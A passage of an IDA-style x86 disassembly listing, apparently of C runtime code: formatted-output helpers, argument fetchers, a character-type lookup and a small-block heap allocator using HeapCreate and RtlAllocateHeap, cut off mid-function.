loc_413260:				; CODE XREF: sub_412BCC+67Bj
					; sub_412BCC+680j
		cmp	[ebp+var_24], 0
		jz	short loc_4132A7
		cmp	[ebp+var_C], 0
		jle	short loc_4132A7
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_413275:				; CODE XREF: sub_412BCC+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_417FE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_4132BC
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_413373
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_413275
		jmp	short loc_4132BC
; ---------------------------------------------------------------------------


loc_4132A7:				; CODE XREF: sub_412BCC+698j
					; sub_412BCC+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_413373
		add	esp, 10h


loc_4132BC:				; CODE XREF: sub_412BCC+6BCj
					; sub_412BCC+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_4132D4 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_413342
		add	esp, 10h


loc_4132D4:				; CODE XREF: sub_412BCC+68j
					; sub_412BCC+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_412BF8


loc_4132E5:				; CODE XREF: sub_412BCC+1Fj
					; sub_412BCC+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412BCC	endp

; ---------------------------------------------------------------------------
off_4132ED	dd offset loc_412D6B	; DATA XREF: sub_412BCC+6Er
		dd offset loc_412C41	; jump table for switch	statement
		dd offset loc_412C5C
		dd offset loc_412CA8
		dd offset loc_412CDF
		dd offset loc_412CE7
		dd offset loc_412D1C
		dd offset loc_412DAF

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41330D	proc near		; CODE XREF: sub_412BCC+1BDp
					; sub_412BCC+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_413326
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_413331
; ---------------------------------------------------------------------------


loc_413326:				; CODE XREF: sub_41330D+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_412AB7
		pop	ecx
		pop	ecx


loc_413331:				; CODE XREF: sub_41330D+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41333E
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41333E:				; CODE XREF: sub_41330D+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41330D	endp


; =============== S U B	R O U T	I N E =======================================



sub_413342	proc near		; CODE XREF: sub_412BCC+65Ap
					; sub_412BCC+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_413370
		mov	esi, [esp+8+arg_C]


loc_413353:				; CODE XREF: sub_413342+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41330D
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_413370
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_413353


loc_413370:				; CODE XREF: sub_413342+Bj
					; sub_413342+25j
		pop	edi
		pop	esi
		retn
sub_413342	endp


; =============== S U B	R O U T	I N E =======================================



sub_413373	proc near		; CODE XREF: sub_412BCC+670p
					; sub_412BCC+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_4133A7
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_413389:				; CODE XREF: sub_413373+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41330D
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_4133A7
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_413389


loc_4133A7:				; CODE XREF: sub_413373+Cj
					; sub_413373+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_413373	endp


; =============== S U B	R O U T	I N E =======================================



sub_4133AB	proc near		; CODE XREF: sub_412BCC+E5p
					; sub_412BCC+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_4133AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4133B8	proc near		; CODE XREF: sub_412BCC+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_4133B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4133C8	proc near		; CODE XREF: sub_412BCC+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_4133C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4133D6	proc near		; CODE XREF: sub_410904+17p
					; sub_410904+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_4133F4
		mov	ecx, ds:off_42D820
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_413446
; ---------------------------------------------------------------------------


loc_4133F4:				; CODE XREF: sub_4133D6+10j
		mov	ecx, eax
		push	esi
		mov	esi, ds:off_42D820
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_413419
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_413422
; ---------------------------------------------------------------------------


loc_413419:				; CODE XREF: sub_4133D6+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_413422:				; CODE XREF: sub_4133D6+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	loc_418048
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413442
		leave
		retn
; ---------------------------------------------------------------------------


loc_413442:				; CODE XREF: sub_4133D6+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_413446:				; CODE XREF: sub_4133D6+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_4133D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41344B	proc near		; CODE XREF: sub_410AFD+1Fp
					; sub_41230F+106p ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_45EB70
		test	eax, eax
		jz	short loc_413463
		push	[esp+arg_0]
		call	eax ; dword_45EB70
		test	eax, eax
		pop	ecx
		jz	short loc_413463
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_413463:				; CODE XREF: sub_41344B+7j
					; sub_41344B+12j
		xor	eax, eax
		retn
sub_41344B	endp


; =============== S U B	R O U T	I N E =======================================



sub_413466	proc near		; CODE XREF: seg000:004129D2p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	0
		cmp	[esp+4+arg_0], eax
		push	1000h
		setz	al
		push	eax
		call	ds:dword_41C168	; HeapCreate
		test	eax, eax
		mov	ds:dword_460180, eax
		jz	short loc_41349B
		call	sub_4134A2
		test	eax, eax
		jnz	short loc_41349E
		push	ds:dword_460180
		call	ds:dword_41C164	; HeapDestroy


loc_41349B:				; CODE XREF: sub_413466+1Ej
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41349E:				; CODE XREF: sub_413466+27j
		push	1
		pop	eax
		retn
sub_413466	endp


; =============== S U B	R O U T	I N E =======================================



sub_4134A2	proc near		; CODE XREF: sub_413466+20p
		push	140h
		push	0
		push	ds:dword_460180
		call	ds:dword_41C140	; RtlAllocateHeap
		test	eax, eax
		mov	ds:dword_46017C, eax
		jnz	short loc_4134BF
		retn
; ---------------------------------------------------------------------------


loc_4134BF:				; CODE XREF: sub_4134A2+1Aj
		and	ds:dword_460174, 0
		and	ds:dword_460178, 0
		push	1
		mov	ds:dword_460170, eax
		mov	ds:dword_460168, 10h
		pop	eax
		retn
sub_4134A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4134E0	proc near		; CODE XREF: sub_410B5F+Ap
					; sub_41230F+3Dp ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_460178
		lea	ecx, [eax+eax*4]
		mov	eax, ds:dword_46017C
		lea	ecx, [eax+ecx*4]


loc_4134F0:				; CODE XREF: sub_4134E0+26j
		cmp	eax, ecx
		jnb	short loc_413508
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41350A
		add	eax, 14h
		jmp	short loc_4134F0
; ---------------------------------------------------------------------------


loc_413508:				; CODE XREF: sub_4134E0+12j
		xor	eax, eax

locret_41350A:				; CODE XREF: sub_4134E0+21j
		retn
sub_4134E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41350B	proc near		; CODE XREF: sub_410B5F+16p
					; sub_41230F+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	eax, [ecx+10h]
		mov	esi, edx
		sub	esi, [ecx+0Ch]
		mov	ebx, [edx-4]
		add	edx, 0FFFFFFFCh
		push	edi
		shr	esi, 0Fh
		mov	ecx, esi
		mov	edi, [edx-4]
		imul	ecx, 204h
		dec	ebx
		mov	[ebp+var_4], edi
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+edx]
		test	cl, 1
		mov	[ebp+var_8], ecx
		jnz	short loc_4135D1
		sar	ecx, 4
		push	3Fh
		dec	ecx
		pop	edi
		mov	[ebp+arg_4], ecx
		cmp	ecx, edi
		jbe	short loc_413563
		mov	[ebp+arg_4], edi


loc_413563:				; CODE XREF: sub_41350B+53j
		mov	ecx, [ebx+edx+4]
		cmp	ecx, [ebx+edx+8]
		jnz	short loc_4135B5
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_413591
		mov	edi, 80000000h
		shr	edi, cl
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+44h], edi
		dec	byte ptr [ecx]
		jnz	short loc_4135B5
		mov	ecx, [ebp+arg_0]
		and	[ecx], edi
		jmp	short loc_4135B5
; ---------------------------------------------------------------------------


loc_413591:				; CODE XREF: sub_41350B+68j
		add	ecx, 0FFFFFFE0h
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edi
		and	[eax+esi*4+0C4h], edi
		dec	byte ptr [ecx]
		jnz	short loc_4135B5
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edi


loc_4135B5:				; CODE XREF: sub_41350B+60j
					; sub_41350B+7Dj ...
		mov	ecx, [ebx+edx+8]
		mov	edi, [ebx+edx+4]
		mov	[ecx+4], edi
		mov	ecx, [ebx+edx+4]
		mov	edi, [ebx+edx+8]
		add	ebx, [ebp+var_8]
		mov	[ecx+8], edi
		mov	[ebp+var_C], ebx


loc_4135D1:				; CODE XREF: sub_41350B+45j
		mov	edi, ebx
		sar	edi, 4
		dec	edi
		cmp	edi, 3Fh
		jbe	short loc_4135DF
		push	3Fh
		pop	edi


loc_4135DF:				; CODE XREF: sub_41350B+CFj
		mov	ecx, [ebp+var_4]
		and	ecx, 1
		mov	[ebp+var_14], ecx
		jnz	loc_41368E
		sub	edx, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		push	3Fh
		mov	[ebp+var_8], edx
		dec	ecx
		pop	edx
		cmp	ecx, edx
		mov	[ebp+arg_4], ecx
		jbe	short loc_41360A
		mov	[ebp+arg_4], edx
		mov	ecx, edx


loc_41360A:				; CODE XREF: sub_41350B+F8j
		add	ebx, [ebp+var_4]
		mov	edi, ebx
		mov	[ebp+var_C], ebx
		sar	edi, 4
		dec	edi
		cmp	edi, edx
		jbe	short loc_41361C
		mov	edi, edx


loc_41361C:				; CODE XREF: sub_41350B+10Dj
		cmp	ecx, edi
		jz	short loc_41368B
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		cmp	edx, [ecx+8]
		jnz	short loc_413673
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 20h
		jnb	short loc_41364F
		mov	edx, 80000000h
		shr	edx, cl
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+44h], edx
		dec	byte ptr [ecx]
		jnz	short loc_413673
		mov	ecx, [ebp+arg_0]
		and	[ecx], edx
		jmp	short loc_413673
; ---------------------------------------------------------------------------


loc_41364F:				; CODE XREF: sub_41350B+126j
		add	ecx, 0FFFFFFE0h
		mov	edx, 80000000h
		shr	edx, cl
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+eax+4]
		not	edx
		and	[eax+esi*4+0C4h], edx
		dec	byte ptr [ecx]
		jnz	short loc_413673
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], edx


loc_413673:				; CODE XREF: sub_41350B+11Ej
					; sub_41350B+13Bj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[edx+8], ecx


loc_41368B:				; CODE XREF: sub_41350B+113j
		mov	edx, [ebp+var_8]


loc_41368E:				; CODE XREF: sub_41350B+DDj
		cmp	[ebp+var_14], 0
		jnz	short loc_41369D
		cmp	[ebp+arg_4], edi
		jz	loc_413726


loc_41369D:				; CODE XREF: sub_41350B+187j
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	ecx, [ecx+4]
		mov	[edx+4], ecx
		mov	ecx, [ebp+var_10]
		lea	ecx, [ecx+edi*8]
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_413726
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_4136FA
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_4136E9
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_4136E9:				; CODE XREF: sub_41350B+1CEj
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		lea	eax, [eax+esi*4+44h]
		or	[eax], ebx
		jmp	short loc_413723
; ---------------------------------------------------------------------------


loc_4136FA:				; CODE XREF: sub_41350B+1C8j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_413710
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_413710:				; CODE XREF: sub_41350B+1F3j
		lea	ecx, [edi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		lea	eax, [eax+esi*4+0C4h]
		or	[eax], edi


loc_413723:				; CODE XREF: sub_41350B+1EDj
		mov	ebx, [ebp+var_C]


loc_413726:				; CODE XREF: sub_41350B+18Cj
					; sub_41350B+1B6j
		mov	eax, [ebp+var_10]
		mov	[edx], ebx
		mov	[ebx+edx-4], ebx
		dec	dword ptr [eax]
		jnz	loc_413831
		mov	eax, ds:dword_460174
		test	eax, eax
		jz	loc_413823
		mov	ecx, ds:dword_46016C
		mov	edi, ds:dword_41C16C
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	edi ; dword_41C16C
		mov	ecx, ds:dword_46016C
		mov	eax, ds:dword_460174
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, ds:dword_460174
		mov	ecx, ds:dword_46016C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, ds:dword_460174
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, ds:dword_460174
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_4137B1
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, ds:dword_460174


loc_4137B1:				; CODE XREF: sub_41350B+29Bj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_413823
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	edi ; dword_41C16C
		mov	eax, ds:dword_460174
		push	dword ptr [eax+10h]
		push	0
		push	ds:dword_460180
		call	ds:dword_41C144	; RtlFreeHeap
		mov	eax, ds:dword_460178
		mov	edx, ds:dword_46017C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, ds:dword_460174
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_4111B0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	ds:dword_460178
		cmp	eax, ds:dword_460174
		jbe	short loc_413815
		sub	eax, 14h


loc_413815:				; CODE XREF: sub_41350B+305j
		mov	ecx, ds:dword_46017C
		mov	ds:dword_460170, ecx
		jmp	short loc_413826
; ---------------------------------------------------------------------------


loc_413823:				; CODE XREF: sub_41350B+233j
					; sub_41350B+2AAj
		mov	eax, [ebp+arg_0]


loc_413826:				; CODE XREF: sub_41350B+316j
		mov	ds:dword_460174, eax
		mov	ds:dword_46016C, esi


loc_413831:				; CODE XREF: sub_41350B+226j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41350B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413836	proc near		; CODE XREF: sub_410B29+Ep
					; sub_41230F+69p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, ds:dword_460178
		mov	edx, ds:dword_46017C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_413876
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_413886
; ---------------------------------------------------------------------------


loc_413876:				; CODE XREF: sub_413836+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_413886:				; CODE XREF: sub_413836+3Ej
		mov	eax, ds:dword_460170
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_4138AD


loc_413894:				; CODE XREF: sub_413836+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_4138AD
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_413894


loc_4138AD:				; CODE XREF: sub_413836+5Cj
					; sub_413836+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41392B
		mov	ebx, edx


loc_4138B4:				; CODE XREF: sub_413836+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_4138D0
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_4138CE
		add	ebx, 14h
		jmp	short loc_4138B4
; ---------------------------------------------------------------------------


loc_4138CE:				; CODE XREF: sub_413836+91j
		cmp	ebx, eax


loc_4138D0:				; CODE XREF: sub_413836+83j
		jnz	short loc_41392B


loc_4138D2:				; CODE XREF: sub_413836+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_4138E8
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_4138E5
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_4138D2
; ---------------------------------------------------------------------------


loc_4138E5:				; CODE XREF: sub_413836+A5j
		cmp	ebx, [ebp+var_4]


loc_4138E8:				; CODE XREF: sub_413836+9Fj
		jnz	short loc_413910
		mov	ebx, edx


loc_4138EC:				; CODE XREF: sub_413836+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_413900
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_4138FE
		add	ebx, 14h
		jmp	short loc_4138EC
; ---------------------------------------------------------------------------


loc_4138FE:				; CODE XREF: sub_413836+C1j
		cmp	ebx, eax


loc_413900:				; CODE XREF: sub_413836+BBj
		jnz	short loc_413910
		call	sub_413B3F
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_413924


loc_413910:				; CODE XREF: sub_413836:loc_4138E8j
					; sub_413836:loc_413900j
		push	ebx
		call	sub_413BF0
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41392B


loc_413924:				; CODE XREF: sub_413836+D8j
		xor	eax, eax
		jmp	loc_413B3A
; ---------------------------------------------------------------------------


loc_41392B:				; CODE XREF: sub_413836+7Aj
					; sub_413836:loc_4138D0j ...
		mov	ds:dword_460170, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_413952
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_413989


loc_413952:				; CODE XREF: sub_413836+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_413986


loc_41396F:				; CODE XREF: sub_413836+14Ej
		mov	edx, [ecx+84h]
		inc	[ebp+var_4]
		and	edx, [ebp+var_8]
		add	ecx, 4
		mov	edi, esi
		and	edi, [ecx]
		or	edx, edi
		jz	short loc_41396F


loc_413986:				; CODE XREF: sub_413836+137j
		mov	edx, [ebp+var_4]


loc_413989:				; CODE XREF: sub_413836+11Aj
		mov	ecx, edx
		xor	edi, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		and	ecx, esi
		jnz	short loc_4139B2
		mov	ecx, [eax+edx*4+0C4h]
		push	20h
		and	ecx, [ebp+var_8]
		pop	edi


loc_4139B2:				; CODE XREF: sub_413836+16Dj
					; sub_413836+183j
		test	ecx, ecx
		jl	short loc_4139BB
		shl	ecx, 1
		inc	edi
		jmp	short loc_4139B2
; ---------------------------------------------------------------------------


loc_4139BB:				; CODE XREF: sub_413836+17Ej
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		mov	[ebp+var_8], ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jle	short loc_4139D8
		push	3Fh
		pop	esi


loc_4139D8:				; CODE XREF: sub_413836+19Dj
		cmp	esi, edi
		jz	loc_413AED
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_413A49
		cmp	edi, 20h
		jge	short loc_413A18
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_413A46
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx], ecx
		jmp	short loc_413A49
; ---------------------------------------------------------------------------


loc_413A18:				; CODE XREF: sub_413836+1B5j
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		lea	ecx, [eax+ecx*4+0C4h]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_413A46
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_413A49
; ---------------------------------------------------------------------------


loc_413A46:				; CODE XREF: sub_413836+1D6j
					; sub_413836+203j
		mov	ebx, [ebp+arg_0]


loc_413A49:				; CODE XREF: sub_413836+1B0j
					; sub_413836+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_413AF9
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_413AEA
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_413ABB
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_413AA9
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_413AA9:				; CODE XREF: sub_413836+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_413AEA
; ---------------------------------------------------------------------------


loc_413ABB:				; CODE XREF: sub_413836+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_413AD4
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_413AD4:				; CODE XREF: sub_413836+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_413AEA:				; CODE XREF: sub_413836+24Ej
					; sub_413836+283j
		mov	ecx, [ebp+var_8]


loc_413AED:				; CODE XREF: sub_413836+1A4j
		test	ecx, ecx
		jz	short loc_413AFC
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_413AFC
; ---------------------------------------------------------------------------


loc_413AF9:				; CODE XREF: sub_413836+229j
		mov	ecx, [ebp+var_8]


loc_413AFC:				; CODE XREF: sub_413836+2B9j
					; sub_413836+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_413B32
		cmp	ebx, ds:dword_460174
		jnz	short loc_413B32
		mov	ecx, [ebp+var_4]
		cmp	ecx, ds:dword_46016C
		jnz	short loc_413B32
		and	ds:dword_460174, 0


loc_413B32:				; CODE XREF: sub_413836+2E0j
					; sub_413836+2E8j ...
		mov	ecx, [ebp+var_4]
